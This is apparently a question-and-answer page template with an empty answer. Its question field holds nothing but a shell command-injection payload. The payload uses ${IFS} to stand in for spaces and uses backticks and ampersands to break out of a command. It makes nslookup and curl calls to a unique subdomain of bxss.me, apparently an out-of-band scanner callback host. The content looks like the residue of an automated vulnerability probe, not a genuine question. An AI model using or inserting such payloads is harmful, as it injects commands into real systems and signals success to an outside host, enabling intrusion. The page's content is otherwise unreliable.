问题

&(nslookup${IFS}-q${IFS}cname${IFS}hitkgoxhhkmvx65903.bxss.me||curl${IFS}hitkgoxhhkmvx65903.bxss.me)& \"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitkgoxhhkmvx65903.bxss.me||curl${IFS}hitkgoxhhkmvx65903.bxss.me)&`

答案